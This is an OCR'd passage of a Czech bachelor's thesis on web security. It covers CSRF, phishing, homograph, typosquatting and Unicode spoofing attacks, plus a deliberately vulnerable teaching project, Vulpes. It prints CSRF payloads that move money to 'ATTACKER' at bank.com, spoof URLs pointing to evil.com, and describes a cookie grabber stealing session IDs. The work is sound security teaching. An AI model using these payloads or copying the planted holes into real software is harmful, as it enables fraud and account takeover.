K tomu, aby uzivatel ptisel o penize, staci, aby pozadavek GET na tuto URL pro-
vedl, zatimco je prihlasen do bankovni aplikace. Toho se tto¢nik pokusi docilit
tfeba tim zpusobem, ze rozesle mailové zpravy obsahujici tento skodlivy odkaz,
nebo umisti odkazu na sviij web, na ktery své obéti nalaka.

Samotna adresa miize byt prezentovana ve formé odkazu nebo tlacitka tvari-
cich se, ze provedou néjakou chténou akci.

<a href="http://bank.com/transfer?to=ATTACKER&amount=1000000">
Click here to win a million dollars!
</a>

Nebo treba jako falesny obrazek s nulovou velikosti, ktery, ackoliv neni vidét, je
stejné nacten.

<img src="http://bank.com/transfer?to=ATTACKER&amount=1000000"
width="0" height="0">

Pouziti pozadavki GET pro akce ménici stav aplikace by nam tedy uz ted
nemelo pripadat idealni. Jejich nejvétsi problém jsme si ale zatim jesté nezminili.

Jelikoz jsou pozadavky GET primarni metodou pro zisk informaci, jsou ptred-
métem mnoha optimalizaci (Fielding a kol 2022, 9.3.1). Jednou z nich je tzv.
prefetching — prohlizece si mohou predem stahnout stranky, které uzivatel jesté
nenavstivil. V pripadé, ze pravé zobrazovand stranka obsahuje odkazy, prohlizec¢
si je muze ,rozkliknout“, metodou GET stahnout a ulozit do paméti. Pokud uziva-
tel na néktery z danych odkazi klikne, prohlize¢ uz pozadavek znovu neopakuje,
ale ihned zobrazi ulozenou odpovéd.

Pozadavky GET také mohou byt cachovdny — ulozeny do mezipaméti (Fielding
a kol., 2022, 9.3.1). Pti zopakovani pozadavku na stejnou adresu pak prohlize¢
nemusi odeslat pozadavek na server, ale muze zobrazit jiz ulozenou odpoveéd.
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Mize se tedy stat, ze je pozadavek proveden, kdyz byt proveden nemél, nebo
se naopak nevykond, i kdyz by meél. Asi si dovedeme predstavit, k jak velkym
problémim by toto mohlo vést v pripadé bankovni aplikace.

6.4 Zachrani nas metoda POST?

V pripadé pozadavku POST uz nejsme schopni skodlivy odkaz schovat do od-
kazu (<a></a>) nebo obrazku (<img>). Pozadavky POST se vSak vykondvaji pri
odeslani formulare, které mizeme v HTML vytvorit pomoci tagu <form></form>.

<form action="http://bank.com/transfer" method="POST">

<input type="hidden" name="to" value="ATTACKER">

<input type="hidden" name="amount" wvalue="1000000">

<input type="submit" value="Click here to win a million dollars!">
</form>

Vstupni pole formulare jsou skryta pomoci atributu type="hidden". Uzivateli
je tak zobrazeno pouze tlacitko s textem ,,Click here to win a million dollars!“.
Po stisknuti tlacitka prohlize¢ odesle pozadavek POST na adresu
http://bank.com/transfer. Bohuzel ale ani u pozadavkt POST neni zapotiebi
interakce s uzivatelem. Pomoci JavaScriptu mizeme formular odeslat automa-
ticky, jakmile se stranka nacte.

<script>
window.onload = () => {
document . forms [0] .submit () ;
};
</script>

Pozadavek na prevod penéz bychom ani nemuseli schovavat do formulara,
stacilo by ho provést pomoci JavaScriptu.

<script>
fetch("http://bank.com/transfer", {
method: "POST",
body: { to: "ATTACKER", amount: 1000000 }
s
</script>

Tento pozadavek se nastésti pii vychozim nastaveni serveru nevykona diky
Same-Origin Policy implementované v prohlizecich. Jelikoz tento skript pochazi
z jiné domény, nez na které se nachazi bankovni aplikace, prohlize¢ nepovoli
odeslani pozadavku. Vyjimkou by samozrejmé bylo, pokud by bankovni aplikace
na svém serveru povolila CORS, coz je vSsak velmi nepravdépodobné.
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6.5 Jak se branit CSRF?

V predchozi sekci jsme si ukézali, jak zabranit pozadavkiim ptichézejicim z ji-
nych domén. Resenim bylo nepovolovat CORS, coz ale zabran{ pouze pozadavkim
iniciovanym ze skripti. Odeslani formulére je stdle mozné, a to i bez interakce
s uzivatelem. Ukazme si nékolik preventivnich metod vybranych z prace nadace
OWASP (CheatSheets Series Team)| 2021)).

Nejpouzivanéjsim fesenim je pouziti ndhodné vygenerovaného fetézce, tzv.
CSRF tokenu. Ten by mél byt pro kazdou relaci uzivatele unikatni a dostatec¢né
dlouhy a nahodny, aby nebylo mozné jej uhodnout. Casto se k jeho generovani
pouziva identifikdtor uzivatele a aktualni cas. Server si po prihlaseni uzivatele to-
ken vygeneruje a ulozi si ho k jeho relaci. Potom ho ptida do vsech formulaii jako
skryté vstupni pole. Pti odeslani formulare se CSRFE token odesle spolu s ostat-
nimi daty, nacez server overi, ze token odpovidd tomu diive vygenerovanému.

Silnéjsi ochrany se da docilit vygenerovanim zvlastnitho CSRF' tokenu pro
kazdy formulaf na strance. Dalsi moznosti je omezit platnost CSRF tokenu z doby
trvani relace na dobu trvani jednoho pozadavku. To vSak miize mit za nésledek
problémy s navratem na stranky navstivené predchozimi pozadavky.

Jiné zpusoby prevence CSRF zahrnuji pouziti druhé, ovérovaci cookie (Double
Submit Cookie) nebo pridani atributu SameSite=Strict k Session ID, ¢imz se
sice zamezi odeslani cookies na jinou doménu, muze to vsak mit dopad na funk-
cionalitu aplikace.
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7. Newebové utoky

7.1 Socialni inzenyrstvi

Socialni inzenyrstvi je technika manipulace a ovliviiovani lidi, pti které se
utocnik snazi ziskat od obéti jeji citlivé informace. Spoléha na prirozenou lidskou
napomocnost, divéru v ostatni a strach z potencialnich problémii. Dostatecné tr-
pélivy utocnik se téchto vlastnosti pokusi zneuzit a presvédcit obét, aby mu citlivé
informace poskytla sama (Sadiku a kol., [2016)). Ac¢koliv se nejedné o technickou
zranitelnost, povazuji za vhodné ji zminit.

7.2 Phishing

Phishing je podvodna technika zalozena na zasilani zprav pres email ¢i jinou
socialni sit. Zpravy mohou mit mnoho podob, vSechny ale maji jeden spole¢ny cil.
Tim je zneuziti davéry uzivatele k ziskani jeho citlivych informaci. V typickém
pripadé si utoénik vybere jednu zndmou webovou aplikaci, kterou bude imitovat.
Do podvodné zpravy prida odkaz vedouci na utoc¢nikiiv web, na ktery se svou
obét pokusi primét kliknout.

Na utocnikiveé webové strance se pak miize nachazet napriklad napodobenina
prihlasovaci stranky. Pti zadavani prihlasovacich idaji se uzivatel domniva, ze se
prihlasuje do opravdové aplikace. mezitim se ale tyto idaje odesilaji ito¢nikovi,
ktery je potom muze zneuzit.

Moznost tohoto titoku mohou sluzby c¢astecné limitovat tim, ze zavedou dvou-
fazové ovérovani. Dvoufazové ovétovani (Two-factor authentication, 2FA) je tech-
nika, ktera kromé prihlasovaciho jména a hesla vyzaduje jesté néjaky dalsi udaj.
Tim je typicky ovérovaci kod, ktery je prihlasujicimu se uzivateli zaslan e-mailem
nebo SMS zpravou, ptripadné vygenerovan mobilni aplikaci.

I pfes toto opatfeni je ale mozné ttok provést. Utoénikovi stac naprogramo-
vat webovou aplikaci, ktera se po zadani prihlasovacich tdaji zkusi prihlasit na
skutecnou sluzbu, a vyzada si od uzivatele ovétovaci kéd. Tomu mezitim ovérovaci
kod prijde, atocnikovi ho poskytne a ten ho potom preposle skutecné sluzbé, ¢imz
se uspésné prihlasi. Tomuto se sluzby snazi zamezit tim, ze spolecné s ovérovacim
kédem uzivateli zobrazi i lokaci IP adresy, ze které probéhl pokus o prihlaseni.

Tento princip odposlouchavani a preposilani informaci mezi uzivatelem a ser-
verem se nazyva Man in the Middle Attack.

7.3 Homografovy ttok

Homografovy utok je oznaceni pro praktiku, pti které se utoc¢nik snazi vy-
uzit podobnosti riznych znaki. Utoénik si vybere stranku, kterou bude chtit
napodobit, v jejim doménovém jméné nahradi nékterd pismena jim podobnymi
znaky (homoglyfy), a takto vzniklou doménu si zaregistruje. Tim muze velmi zveé-
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rohodnit phishingovy ttok, protoze kromé vizualni podobnosti webové stranky
bude také velmi vérohodné vypadat i odkaz, ktery obét rozklikne. Ukazme si par
prikladi toho, do jaké miry muze byt ito¢nikiv podvrh vérohodny.

Doménové jméno gitlab.com mizeme napodobit jako gitlab.com — zaménili
jsme pismeno 1 za cislici 1. Adresu mff.cuni.cz mizeme napodobit pomoci
rnff.cuni.cz — tentokrat jsme zaménili pismeno m za dvojici pismen r a n.
Podobna si také jsou velké pismeno 0 a nula 0 nebo velké pismeno I a malé
pismeno 1. V URL se ale pouzivaji spise mald pismena, velké O nebo I v URL
najdeme jen ziidka.

7.4 Internationalized Domain Names

Jaké znaky viibec miize doménové jméno obsahovat? Nejspise nas napadne,
ze se v ném mohou vyskytovat pismena anglické abecedy, ¢islice a pomlcka, tedy
znaky z podmnoziny sady ASCIIL. Zvykli jsme si, ze pismena s diakritikou jsou
nahrazena znaky bez hacki a ¢arek. P¥ikladem miZe byt napiiklad Ceska posta
s registrovanou doménou ceskaposta.cz.

Diakritiku by vSsak mohlo obsahovat i samotné doménové jméno. Teoreticky
to umoznuje systém Internationalized Domain Name (IDN), ktery povoluje pou-
ziti znaku nepatiicich do ASCII v doménovych jménech (Faltstrom a Hoffman,
2003). Specidlni znaky v takovych doménach jsou pomoci algoritmi Nameprep
a Punycode prevedeny do nékolika znakt anglické abecedy. Pro ukazku — prevod
domény www.haclkylarky.cz skondci takto: www.xn--hkyrky-ptac70bc.cz/.

Ackoliv je systém IDN jiz dlouhou dobu pfipraven, jeho vyuziti zavisi na
rozhodnuti spraveit domén nejvysstho fadu. Napiiklad v Ceské republice regis-
trace domén s diakritikou zatim kviili nedostatecnému zajmu nebyla umoznéna
(CZ.NIC| 2023). Po spusténi IDN pro ceskou doménu .cz by bylo mozné regis-
trovat treba doménu Ceskaposta.cz. Evropskd doména .eu IDN podporuje, coz
vsak miuze zpusobit dalsi problémy.

7.5 IDN homografovy utok

Pojdme si ukazat jesté par prikladit vyuzivajicich narodni znaky, konkrétné
znaky cyrilice. V Tetézci gitlab.com jsme cyrilici misto latiky pouzili u pismene
a, v adrese mff.cuni.cz jsou vyménéna pismena i a c. Cyrilice obsahuje pres
10 znakt, které jsou velmi podobné znakim latinky. Pro zmateni uzivatelia ale
nemusi byt pouzita jen ona, dalsich moznosti je spousta.

Toto se spravce evropské domény .eu snazi Tesit seskupenim vizualné po-
dobnych doménovych jmen do tzv. Homoglyph bundle (EURid| 2023)). Z jednoho
takového balicku domén je umoznéna pouze prvni registrace, ostatni domény ze
skupiny budou blokovany. Seznam zaménitelnych znakt, kterym je doporuceno
se T{dit, je zminén v praci (Davis a Suignard, [2022)).

40



7.6 Typosquatting

Typosquatting je technika, pri které se utocnik snazi vyuzit chyby uzivatele
pri zadavani doménového jména. Narozdil od homografového ttoku ale ttoc¢nik
odkaz na svou doménu sam nesiti. Namisto toho ceka, az uzivatel sim nespravnou
URL navstivi. Tento utok se da provést nékolika zptsoby.

Prvnim z nich je registrace doménového jména s preklepem — napriklad re-
gistrace domény githab.com misto github.com. Tomuto utoku na tspésnosti
dost pomuze, pokud je nové pismeno k pivodnimu blizko na klavesnici, pripadné
kdyz jsou pismena pouze prohozena — giltab.com misto gitlab.com. Druhym
pripadem je registrace domény se stejnym nazvem, ale jinou koncovkou — .net
misto .com. Pokud koncovku uzivatel zadava rucne z paméti a splete se, muze po
zobrazeni vizualné podobné stranky nabyt dojmu, ze se trefil.

Ve chvili, kdy uzivatel uto¢nikovu stranku navstivi, uz muze tutok pokracovat
jiz zminénymi zpusoby.

7.7 Unicode

Zakladni sada ASCII znakl je pro vétSinu jazykid nedostacujici. V dnesni
dobé se proto pouziva sada Unicode, kterd obsahuje napriklad ceska pismena
s diakritikou, azbuku, ¢inskou abecedu a mnoho dalsich. Soucasti sady jsou kromé
pismen také rtzné symboly, smajliky, ale i dalsi ¢islice.

Kdyz si na tento fakt nebudeme dévat pozor pri implementaci aplikace, mi-
zeme se dostat do problémii. Piikladem by mohla byt rezervace uzivatelskych
jmen adminO az admin9 pro administratory v domeéni, ze 0-9 jsou jediné znaky po-
vazované za ¢islice. Pokud naslednou autorizaci uzivateli prenechame knihovné,
kterd pouze overi tvar uzivatelského jména adminX, kde X je ¢islice, mohlo by se
k administratorskym pravim dostat mnohem vice lidi nez deset.

Knihovna by se totiz nejspise pouze podivala na to, do jaké kategorie znaki
patii X. V sadé znaka Unicode vSak do kategorie ¢islic patii mnohem vice znakt
nez jen 0-9. Jednou takovou skupinou znakt jsou naptiklad znaky Fullwidth Digit
Zero az Fullwidth Digit Nine, ito¢nik by si mohl zaregistrovat tfeba ticet admin0
a prihlasit se jako administrator.

7.8 Syntax spoofing

(Davis a Suignard,, [2014} 2.6) jako dalsi zptuisob obelhani uzivatele uvadéji syn-
tax spoofing. Tento utok je typem homografového tutoku, pri kterém se ttocnik
snazi napodobit syntaxi URL. Vyuziva znaky Unicode, které jsou vizualné po-
dobné klicovym znaktim URL. Mezi takové patii napriklad znaky Fraction Slash
podobny lomitku /, Small Question Mark podobny otazniku ? nebo One Dot
Leader podobny tecce ..

Ukazme si nékolik priklad vyuzivajicich téchto znakt, u kterych bychom se
mohli domnivat, zZe vedou na stranku http://example.com, misto toho by nas
vsak zavedly na poddomény evil. com.
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http://example.com/sub.evil.com
http://example.com?sub.evil.com
http://example.com.sub.evil.com

Neékteré znaky zneuzitelné pro syntax spoofing jsou nastésti v URL zakazany
(naptiklad One Dot Leader), jiné se vSak v URL pouzivat mohou. Na né je t¥eba
si davat pozor.

K obelhani uzivatele neni ani potieba specidlnich znakt Unicode. Neznaly
uzivatel si nemusi uvédomit, ze dvé pomlcky -- neukoncuji doménovou ¢ast URL,
a muze se nechat zldkat na stranku http://example.com--sub.evil.com.

(Davis a Suignard, 2014} 2.6) zminuji jako mozny zptsob ochrany pred témito
utoky vizualni odliSeni doménové ¢asti URL. Toto feseni by musely implemento-
vat jednotlivé prohlizece napifklad v adresni Fadce. Uto¢nikova URL se by potom
mohla vypadat treba takto: http://example.com/sub.evil.com, zatimco legi-
timni URL, kterou si pravdépodobné obét myslela, ze navstévuje, napriklad takto:
http://example.com/sub.evil.com.

S touto kategorii utoku souvisi i Numeric spoofing, pri kterém utoc¢nik napo-
dobuje ¢isla. Nékteré ¢islice v sadé Unicode mohou byt vizudlné podobné jinym
a dokonce mit i jinou hodnotu. Takovymi jsou naptiklad bengélské ¢islice Bengali
Digit Four a Bengali Digit Seven, jenz jsou velmi podobné ¢islicim 8 a 9 (Davis
a Suignard} 2014, 2.7)

7.9 Prevence

Davis a Suignard| (2014) také uvadi nékolik doporuceni, jak se proti témto
utoktim branit. Obecnou radou je byt pii praci se speciadlnimi znaky spise kon-
zervativni a jejich pouziti omezit. Shrime si nékteré dalsi.

Vyvojartim se doporucuje ovérovat pritomnost znak Unicode v textech, které
uzivatel zadava, a pripadné je odmitnout. Doporucuje se k pouziti na strankéch
vybrat takova pisma, ve kterych jsou jednotlivé symboly dobre rozlisitelné. V pii-
padé, ze pismo néjaky symbol neobsahuje, by tento znak nemél byt nahrazen ji-
nym, ani by nemél byt vynechan, ale zobrazen jako prazdny symbol. Pii vybéru
velikosti pisma by méli vyvojari dbat na to, aby se rozdily mezi jednotlivymi
znaky daly rozpoznat.
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8. Vulpes

8.1 Uvod

Praktickou slozkou této bakalarské prace je projekt Vulnerability Presentation
Server (Vulpes), ktery vznikal ve spolupraci se spole¢nosti CZ.NIC. Jedna se
o soubor nékolika webovych aplikaci, ve kterych jsou za demonstrac¢nimi ucely
zamérné ponechany zranitelnosti zminéné v tomto textu. Jeho nedilnou soucasti
je také jejich prakticka ukazka. Za timto tcelem je pripraveno nékolik cviceni
provazejicich uzivatele jednotlivymi utoky. Dostupné jsou na hlavni strance pro-
jektu.

8.2 Technologie

Projekt je primarné napsan v jazyce Python. Pro serverovou ¢ast aplikaci byl
proto zvolen framework Flask. Strana klienta je tvorena pomoci sablon Jinja,
které jsou na serveru plnény daty a odesilany.

Pro ukladani dat byla puvodné zvolena databdze PostgreSQL, postupem casu
k ni byla pridana databize SQLite. Vybér toho, ktery databizovy systém se po-
uzije, zavisi na zpusobu spusténi projektu. Prvni moznosti je spusténi projektu
pres Docker Compose, v takovém pripadé je vyuzito PostgreSQL, druhou moz-
nosti je spustit projekt startovacim skriptem vyuzivajicim gevent, pak je pouzita
SQLite. Pro zjednoduseni prace s databazemi a kvili limitaci problémt s vice
databazovymi systémy bylo vyuzito s ORM SQLAlchemy.

Prihlasovani a autentizace uzivatelii je fesena za pomoci knihovny Flask-
Login. Praci s formuléfi zjednodusuje knihovna Flask-WTForms. V ptipadech,
kdy bylo zapottebi povolit Cross-Origin Resource Sharing (CORS), byla pouzita
knihovna Flask-CORS.

Jelikoz maji aplikace slouzit primarné k demonstraci zranitelnosti, nebyl ptilis
kladen diiraz na jejich vzhled, ale na funkénost. Ke grafické upravé byly z toho
divodu pouzity pouze zakladni CSS. Pro interaktivni prvky byl zvolen JavaScript
s knihovnou jQuery.

8.3 Aplikace

8.3.1 Mail

Prvni implementovanou aplikaci byla aplikace Vulpes Mail. Ta ma simulo-
vat e-mailového klienta, ktery umoznuje uzivatelim zasilat a pfijimat zpravy. Ve
skutecnosti vsak o plnohodnotného e-mailového klienta nejde, aplikace pouze pfi-
jim& a zobrazuje zpravy, které si v textové podobé uklada do databaze. Neni pres
ni mozné posilat ptilohy, neumi zpravy pomoci elementii HTML a CSS graficky
upravovat.
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Aplikace umoznuje vytvoreni nového tuctu, prihlaseni a odhlaseni. Uzivatelé
pres ni mohou zasilat zpravy ostatnim lidem, ktefi jsou také registrovani v apli-
kaci. Zpravy obsahuji predmét a télo, jako v klasickém e-mailu. Je mozné si
zobrazit seznam vSech prijatych zprav, seznam vsech odeslanych zprav a detail
konkrétni zpravy.

Aplikace sice nepodporuje grafickou upravu zprav, zato vsak umi z textu
obsahujicitho URL udélat klikatelny odkaz. Tuto funkcionalitu obsahuje predevsim
z toho davodu, ze ji disponuji skutecné e-mailové klienty. Kdyby chybéla, byl by
uzivatel nucen ruéné kopirovat URL a vkladat jej do adresniho fadku prohlizece,
coz by ztizilo postup cvicenim Phishing. Absence této funkce v redlném svété
by vsak pravdépodobné vedla k tomu, ze by uspésné dokoncenych utoku typu
Phishing bylo méné.

Jak uz je asi zrejmé, tuto aplikaci vyuziva Vulpes Attacker pro rozesilani
phishingovych zprav. V aplikaci také neni implementovan zadny zpiisob ochrany
proti CSRF, je tedy vici témto utokim zranitelnd. Toho je vyuzito ve cviceni
Cross-Site Request Forgery (CSRF). Dalsi zranitelnosti by se v aplikaci vyskyto-
vat nemely.

8.3.2 Chat

Druhou aplikaci je Vulpes Chat. Ta predstavuje chatovaci aplikaci umoznu-
jlci vzajemnou komunikaci mezi uzivateli. Komunikace probihd v redlném case,
odeslané zpravy se prijemci zobrazi hned po jejich prijeti. K tomu byla vyuzita
knihovna Flask-SocketlO.

Uzivatelim je opét umoznéno vytvoreni nového uctu, prihlaseni a odhlaseni.
Po prihlaseni je uzivateli zobrazen po levé strané seznam jeho kontaktd a upro-
stted stranky aktualné oteviend konverzace. Kliknutim na kontakt v seznamu se
otevie konverzace s timto uzivatelem. V pravé c¢asti stranky se nachazi panel pro
vyhledavani zprav v konverzaci.

Pravé toto vyhledavaci pole predstavuje zranitelnost aplikace. Zadany vyraz
pro vyhledani mezi zpravami je totiz bez osetfeni vlozen do SQL dotazu. Kvuli
omezeni rozsahu této zranitelnosti byl ruéné zkonstruovan pouze tento dotaz pro
vyhledavani. Ostatni interakce s databazi probihaji pres knihovnu SQLAlchemy.

Za ucelem demonstrace utoku SQL Injection jsou v aplikaci pti prvnim spus-
téni vytvoreny dva uzivatelské ucty Alice a Boba. Vytvorena je také konverzace
mezi témito dvéma uzivateli, kterda obsahuje nékolik zprav. Ve cviceni o SQL In-
jection je cilem ziskat informace z téchto zprav. Dalsimi predvytvorenymi ucty
jsou adminO az admin9, které noveé registrovanym uzivatelim zasilaji uvitaci
ZPraviu.

Aplikace vsak umoznuje pouziti znakt Unicode v uzivatelském jméné a navic
autorizuje administratory pouze na zakladé toho, zda je jejich jméno ve tvaru
adminX, kde X je ¢islice. Toho je vyuzito ve cvi¢eni Unicode, po jehoz splnéni je
mozné ziskat pristup k administratorské strance. Na té je mozné si prohlédnout
databazové schéma, které je zase vyuzito ve druhém cviceni SQL Injection. V ném
je cilem ziskat prihlasovaci idaje k uc¢tiim Alice a Boba. Aplikace si totiz uklada
hesla v cisté textové podobé.
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8.3.3 Shop

Treti v radé aplikaci je Vulpes Shop, ktera simuluje jednoduchy internetovy
obchod. Aplikace nezahrnuje platby, nakupni proces kon¢i vytvorenim objed-
navky. V aplikaci jsou predvytvoreny tii produkty — donut, cookie a eclair. Uzi-
vatelim je umoznéno prohlizet produkty a ptridavat k nim textové recenze.

Samoziejmosti je moznost vytvoreni nového uctu, prihlaseni a odhlaseni. Po
prihlaseni je zpristupnéna funkcionalita pridavani produktt do kosiku, prohlizeni
kosiku, upravovani jeho obsahu a vytvareni objednévek. Ptrihlasenni uzivatelé si
také mohou ulozit své osobni tdaje, které jsou predvyplnény pii vytvareni objed-
navky.

Aplikace je zranitelna tutokem XSS. Pravé zminované pole pro pridavani ko-
mentart nekontroluje uzivatelsky vstup. Zadana data ihned vlozi do stranky a za-
roven je odesle na server pro ulozeni do databaze. Tim je tto¢nikovi umoznéno
provést Stored XSS tutok. Této zranitelnosti se vyuziva ve cvi¢enich XSS a Session
hijacking.

8.3.4 Attacker

Vulpes Attacker je aplikaci, ktera zneuziva zranitelnosti ostatnich a tto¢i na
né. Pres aplikaci Vulpes Mail rozesila jejim uzivateliim phishingové zpravy, ve kte-
rych je odkaz na falesnou prihlasovaci stranku. VSechny timto zptisobem ukradené
prihlasovaci idaje poté zobrazuje na své strance Phishing.

Pres aplikaci Vulpes Mail také uzivatelim rozesila zpravy obsahujici odkaz
na vyherni stranku smyslené loterie. Na té se d& najit tlac¢itko pro vyzvednuti
vyhry. To je vSak ve skutecnosti soucasti formulatre se skrytymi poli, ktery vede
do aplikace Vulpes Mail. Ta je — jak uz vime — zranitelna utokem CSRF, pri-
jaty pozadavek POST tak zpusobi, ze pravé prihlaseny uzivatel odesle ttocénikovi
Zpravu.

Aby to nebylo vSe, tak Vulpes Attacker ito¢i i na aplikaci e-shopu. Pti prv-
nim navstiveni seznamu ukradenych cookies prida ke dvéma produktim recenzi
obsahujici tzv. Cookie grabber. K produktu Cupcake umisti skript, ktery odesila
SessionID uzivatele na jeji server. Tam je SessionlD ulozeno a zobrazovano na
strance Session Hijacking. Poté je ho vyuzito ve cviceni Session Hijacking k pro-
vedeni akci jménem onoho uzivatele. K produktu Eclair umisti Vulpes Attacker
skript, ktery SessionID uzivatele odesle na jeho server, misto ulozeni s ni vsak
rovnou provede objednani produktu.

8.3.5 Index

Aplikace Vulpes Index slouzi jako vstupni bod do celého projektu. Obsahuje
uvodni stranku se stru¢nym popisem projektu, seznamem vsech aplikaci a odkazy
na jejich stranky. V této aplikaci se nachazi i stranky popisujici zranitelnosti tak,
jak byly zminény v této praci. Déle jsou zde stranky s navody k jednotlivym cvice-
nim, diky kterym si uzivatelé tyto zranitelnosti mohou sami vyzkouset. Jednotliva
cviceni si popiSeme nyni.
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8.4 Cviceni

8.4.1 Newebové zranitelnosti

Cviceni Phishing provede uzivatele krok za krokem phishingovym ttokem. Po
vytvoreni uc¢tu v aplikaci Vulpes Mail mu aplikace Attacker posle zpravu s nabid-
kou vylepseni uc¢tu. V pripadé rozkliknuti odkazu ve zpraveé se uzivatel dostane na
stranku, ktera vypadd jako prihlasovaci stranka mailové aplikace. Pokud zadé pri-
hlasovaci udaje, aplikace Attacker si je ulozi do databaze a presmeéruje pozadavek
na aplikaci Vulpes Mail, ¢imz uzivatele prihlasi.

Cviceni Unicode uzivatele provede vytvorenim uctu v aplikaci Vulpes Chat.
Néasledné ho upozorni na jeji potencialni zranitelnost — autorizaci ¢t pouze na
zakladé uzivatelského jména. Nakonec navede uzivatele k vytvoreni administrator-
ského uctu. Ten diky tomu ziska pristup na administratorskou stranku aplikace,
kde se naptiklad docte, jaké ma databaze schéma. Této znalosti potom muze
zneuzit ve 2. cviceni o SQL Injection.

8.4.2 SQL Injection

Prvni cviceni SQL OR Injection uzivatele provede vytvorenim tuctu v aplikaci
Vulpes Chat, zahdjenim konverzace a provedenim jednoduchého ttoku. V aplikaci
jsou predvytvorené dva ucty Alice a Bob. Uzivatel ma za tkol zjistit informaci
z konverzace mezi témito dvéma ucty.

Druhé cvi¢eni SQL UNION SELECT Injection vyuzije znalost databazového
schématu ziskaného ve cviceni Unicode. Uzivatel je zatukolovan ziskanim prihla-
sovacich udaju uctu Alice a Boba. Tato data jsou ulozena v jiné tabulce nez
konverzace, proto je nutné pouzit UNION SELECT.

8.4.3 Cross-Site Scripting

Cviceni Cross-Site Scripting ukéaze uzivateli, jak k produktu v aplikaci Vulpes
Shop pridat recenzi obsahujici JavaScript. Cilem tohoto cviceni je pouze vsu-
nuti skriptu, ktery zobrazi vyskakovaci okno s libovolnym textem. Také uzivateli
vysvétluje, kdy se vsunuty kod spousti.

Cviceni Session Hijacking ukaze uzivateli, ze skript vloZzeny do recenze muze
ukradenou Session ID cookie mu pak ukaze v aplikaci Attacker. Stranka aplikace
Attacker pak obsahuje nékolik tlacitek, kterymi se spusti nechténé akce v aplikaci
Vulpes Shop. Cookie grabber u druhého produktu nevyzaduje zadnou interakci
s uzivatelem, rovnou mu vlozi produkty do kosiku a objednavku odesle.

8.4.4 Cross-Site Request Forgery
Cviceni CSRF je velmi podobné cvi¢eni Phishing. Uzivateli do aplikace Vulpes

Mail ptijde zprava oznamujici vyhru v loterii. Zprava obsahuje odkaz na stranku,
kde je mozné si vyhru vyzvednout. Nachazi se na ni ale formular se skrytymi poli
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obsahujicimi mailovou zpravu. Tlac¢itko ,Claim prize® tedy misto zisku vyhry
posle zpravu jménem uzivatele.

8.5 Struktura projektu

Korenovy adresar obsahuje slozky jednotlivych aplikaci (mail, chat, shop,
attacker, index) a soubory spolecné pro vSechny aplikace. V requirements.txt
se nachazi seznam vsech zavislosti projektu.

Daéle je v ném slozka nginx obsahujici konfiguracni soubory pro server Nginx
a soubor docker-compose.yml. Tyto jsou vyuzité v pripadé spusténi projektu
pomoci Dockeru. Skript run.py slouzi ke spusténi projektu bez pouziti Dockeru.

Soubor linting-requirements.txt obsahuje zavislosi nastroji kontroluji-
cich kvalitu koédu, spolecné se souborem .gitlab-ci.yml jsou urceny pro Gitlab
CI. Nakonec README.md obsahuje zakladni informace o projektu.

Struktura jednotlivych adresait aplikaci se muze lisit v zavislosti na jeji struk-
ture a obsahlosti jejiho kodu. Vsechny ale obsahuji skript app.py pro spus-
téni samotné aplikace, Dockerfile pro sestaveni kontejneru Dockeru, soubor
requirements.txt se zavislostmi pouze daného programu a slozku project, ve
které je samotna aplikace.

Ta je slozena ze vstupniho skriptu __init__.py, ktery vytvaii instanci apli-
kace a nastavuje jeji konfiguraci, souboru database. py obsahujiciho definici a ini-
cializaci databaze, souboru forms.py obsahujiciho definici formulaii a souboru
routes.py obsahujicitho definici jednotlivych cest aplikace. U velkych aplikaci
jsou jednotlivé cesty rozdéleny do vice souborti podle jejich funkce.

Adreséate static a templates obsahuji statické soubory a sablony aplikace.

8.6 Spusténi

Aplikace lze spustit pomoci pripraveného startovaciho skriptu run.py. Dopo-
ruc¢ujeme si pro projekt pomoci modulu venv vytvorit virtudlni prostredi.

python3 -m venv venv # vytvoreni
source venv/bin/activate # aktivace

pip install -r requirements.txt # instalace zavislosti
python3 run.py # spusSténi projektu

Projekt je také mozné spustit pomoci nastroje Docker Compose, ten si zavis-
losti nainstaluje sam.

docker compose up # spuSténi projektu

Jednotlivé aplikace jsou poté dostupné na adresach:
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e Mail — http://localhost:5001/
o Chat —http://localhost:5002/
e Shop — http://localhost:5003/

o Attacker — http://localhost:5004/
a uvodni aplikace projektu na adrese:

e http://localhost:5000/

48


http://localhost:5001/
http://localhost:5002/
http://localhost:5003/
http://localhost:5004/
http://localhost:5000/

Zaver

V této praci jsme si predstavili zdkladni koncepty fungovani webovych apli-
kaci a internetu obecné. Ukazali jsme si, jak funguje komunikace mezi klientem
a serverem a jak se v ni uplatnuji protokoly HT'TP a HTTPS. Popsali jsme si
vybrané zranitelnosti webovych aplikaci a ukazali si, jak se jim mtizeme branit.

Popsanych zranitelnosti ale existuje mnohem vice a neustale se objevuji nové.
Je proto dilezité byt neustale ve stiehu a nad bezpecnosti aplikaci premyslet.

49



20



Seznam pouzité literatury

BERNERS-LEE, T., FIELDING, R. T. a MASINTER, L. M. (2005). Uniform
Resource Identifier (URI): Generic Syntax. RFC 3986. URL https://www.rf
c-editor.org/info/rfc3986.

CANADIAN INTERNET REGISTRATION AUTHORITY (2008). Canadian Presence
Requirements for Registrants. URL https://static.cira.ca/policy/cana
dian-presence-requirements-for-registrants.pdf.

CHEATSHEETS SERIES TEAM (2021). Cross-Site Request Forgery Prevention
Cheat Sheet. online [cit. 2023-06-25]. URL https://cheatsheetseries.owa
sp.org/cheatsheets/Cross-Site_Request Forgery Prevention Cheat S
heet.html. Dostupné z archivu: https://web.archive.org/web/20230620
085749/https://cheatsheetseries.owasp.org/cheatsheets/Cross-Sit
e_Request_Forgery Prevention_Cheat_Sheet.html.

CZ.NIC (2018). Pravidla registrace jmen domén v ccTLD .cz. URL https:
//www.nic.cz/files/documents/20180525 Pravidla registrace CZ fin
al.pdf.

CZ.NIC (2023). IDN - Internationalized Domain Names. online [cit. 2023-06-28|.
URL https://h%C3%A17%C47%8Dky%C4%8D%C3%A1rky.cz. Dostupné z archivu:
https://web.archive.org/web/202305631183754/https://hj%C3%A1%C4%8
Dky%C4%8D%C3%A1rky . cz/.

Das, A., BONNEAU, J., CAESAR, M., Borisov, N. a WANG, X. (2014). The
Tangled Web of Password Reuse. In 21st Annual Network and Distributed Sys-
tem Security Symposium, NDSS 2014, San Diego, California, USA, February
23-26, 2014. The Internet Society. URL https://www.ndss-symposium.org
/ndss2014/tangled-web-password-reuse.

DaAvis, M. a SUIGNARD, M. (2014). Unicode Security Considerations. Technical
report, The Unicode Consortium. URL https://www.unicode.org/report
s/tr36/tr36-15.html.

Davis, M. a SUIGNARD, M. (2022). Unicode Security Mechanisms. Technical
